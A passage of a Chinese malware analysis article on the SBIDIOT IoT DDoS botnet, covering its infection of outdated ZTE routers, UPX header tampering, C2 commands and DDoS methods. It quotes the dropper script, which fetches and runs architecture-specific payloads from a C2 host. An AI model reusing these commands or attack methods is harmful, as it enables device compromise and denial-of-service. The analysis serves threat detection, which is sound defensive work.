作者 | 绿盟科技 潘雨晨
前言:近期,一款专门针对IoT设备的恶意软件开始暗中活动,它被命名为SBIDIOT,造成的主要威胁是分布式拒绝服务(DDos)攻击。目前它在 VirusTotal上的检测数量相对较少,并且网络安全社区也暂时没有和它相关的充分记录。尽管某些物联网僵尸网络专门从事加密货币挖掘或欺诈活动,但与SBIDIOT恶意软件相关联的僵尸网络几乎完全致力于DDoS攻击。
本文将揭示SBIDIOT如何与目标进行通信,以及它支持什么类型的命令。分享这些信息将有助于检测威胁,从而在威胁行为发生前及时阻止
SBIDIOT恶意软件分析
SBIDIOT恶意软件的传播依赖于IoT设备使用的过时固件中的漏洞。似乎很大一部分受感染的设备是运行较旧固件版本的ZTE路由器,该固件版本易受远程代码执行(RCE)漏洞的影响。在那些受感染设备上可以观察到,shell脚本一旦通过各种方式传递到受害机器上便会下载并执行二进制有效负载:
代码语言:javascript复制#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://<cnc_ip>/SBIDIOT/x86; curl -O http://<cnc_ip>/SBIDIOT/x86;cat x86 >SSH;chmod x *;./SSH SSH
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://<cnc_ip>/SBIDIOT/mips; curl -O http://<cnc_ip>/SBIDIOT/mips;cat mips >SSH;chmod x *;./SSH SSH
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://<cnc_ip>/SBIDIOT/mpsl; curl -O http://<cnc_ip>/SBIDIOT/mpsl;cat mpsl >SSH;chmod x *;./SSH SSH
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://<cnc_ip>/SBIDIOT/arm; curl -O http://<cnc_ip>/SBIDIOT/arm;cat arm >SSH;chmod x *;./SSH SSH
...
获得的样本:
e2b3ca0a97107fa351e39111c80b3fef……41eabe845af4b9 使用了标准UPX工具打包,不过UPX头有做修改。虽然恶意样本仍然是可执行的,但不再可能使用相同的工具直接解包它:
代码语言:javascript复制$ file e2b3ca0a97107fa351e39111c80b3fef……41eabe845af4b9
e2b3ca0a97107fa351e39111c80b3fef……41eabe845af4b9: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
$ upx -d e2b3ca0a97107fa351e39111c80b3fef……41eabe845af4b9
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
File size Ratio Format Name
--------- ------ ----- ----
upx: e2b3ca0a97107fa351e39111c80b3fef……41eabe845af4b9: NotPackedException: not packed by UPX
Unpacked 0 files.
正如下图中看到签名的,UPX! 被一个自定义的签名 YTSx99 替代了:
所以修复它后才能够使用标准的UPX工具解包:
代码语言:javascript复制$ perl -pi -e 's/YTSx99/UPX!/g' e2b3ca0a97107fa351e39111c80b3fef……41eabe845af4b9
$ upx -d e2b3ca0a97107fa351e39111c80b3fef……41eabe845af4b9
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
File size Ratio Format Name
--------- ------ ----- ----
55372 <- 30024 54.22% linux/i386 e2b3ca0a97107fa351e39111c80b3fef……41eabe845af4b9
Unpacked 1 file.
$ file e2b3ca0a97107fa351e39111c80b3fef……41eabe845af4b9
e2b3ca0a97107fa351e39111c80b3fef……41eabe845af4b9: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, strippe
分析中发现威胁特征非常常见,其中DDoS的部分代码与Gafgyt等其他恶意软件家族是共享的。
考虑到样本是静态链接并且被剥离了符号表的,针对物联网的恶意软件几乎都是这样,下一步是为uClibc加载FLIRT签名,使分析更容易。uClibc是一个小型的C标准库,通常用于基于Linux内核的嵌入式设备,物联网恶意软件开发人员也经常使用它以方便交叉编译。FLIRT签名本质上是一种逆向工程工具(如IDA)用来匹配已知库的方法,它可以极大地加快分析过程。分析中发现威胁特征非常常见,其中DDoS的部分代码与Gafgyt等其他恶意软件家族是共享的。
使用FLIRT可以识别出大量的函数
样本在执行之后,尝试连接到其C2,在本例中,C2是硬编码到二进制文件中的IP地址和端口。尽管C2服务器在分析期间无法提供服务,但可以强制样本与自主搭建的C2服务器通信。再加上一些静态分析,也足以实现模拟交互。
样本中负责处理命令的函数将从C2服务器接收到的每个命令与以下字符串进行比较,也就是总共能够执行16个从C2服务器接收的命令。
代码语言:javascript复制TCP、HTTPSTOMP、VSE、HEX、STD、VOX、NFO、UDP、UDPH、R6、FN、OVHKILL、NFOKILL、STOP、Stop、stop
SBIDIOT支持的命令
TCP命令要求bot在指定的时间间隔内向指定的主机/端口组合发送TCP 报文。此外,它还允许操作者设置一些可选的TCP标志。
上图展示了TCP命令处理程序中支持的自定义TCP标志
HTTPSTOMP
它接受的参数包括HTTP方法、主机/端口组合、攻击持续时间和指定重复此操作次数的计数。如果攻击没有被超过指定的持续时间和请求数,该函数将使用提供的设置和随机选择的User-Agent字符串继续执行HTTP请求。
下图是硬编码的User-Agent字符串列表
HTTPSTOMP命令处理程序:
此外,程序中还会调用另一个函数来发起对主机名/端口/cdn-cgi/l/chk_captcha URI的HTTP请求,同样,也可以配置攻击持续时间和请求计数。这样做是为了规避CloudFlare保护机制。
VSE
用于DDoS的另一个命令,根据提供的参数,它使用UDP或原始套接字。同样,可以提供目标和攻击持续时间的参数,但是攻击者还可以指定发送到目标的数据包之间的时间间隔。Gafgyt的变种和其他物联网恶意软件偶尔会使用一个VSE命令,用来瞄准运行Valve Source引擎的服务器。
下图是实现时间间隔的VSE命令处理程序的代码片段:
VOX
VOX命令以主机、端口和攻击持续时间作为参数,然后从三种硬编码有效负载中随机选择一个发送UDP数据包。
下图是包含硬编码有效负载的恶意UDP流量
UDP
样本会将UDP有效负载发送到目标主机的指定端口,其他参数包括攻击持续时间和生成的有效负载的最大大小。由于使用了strlen函数,负载的实际大小可能会比通过strlen得到的更小,因为该函数是从内存的某个位置(可以是字符串开头,中间某个位置,甚至是某个不确定的内存区域)开始扫描,直到碰到第一个字符串结束符'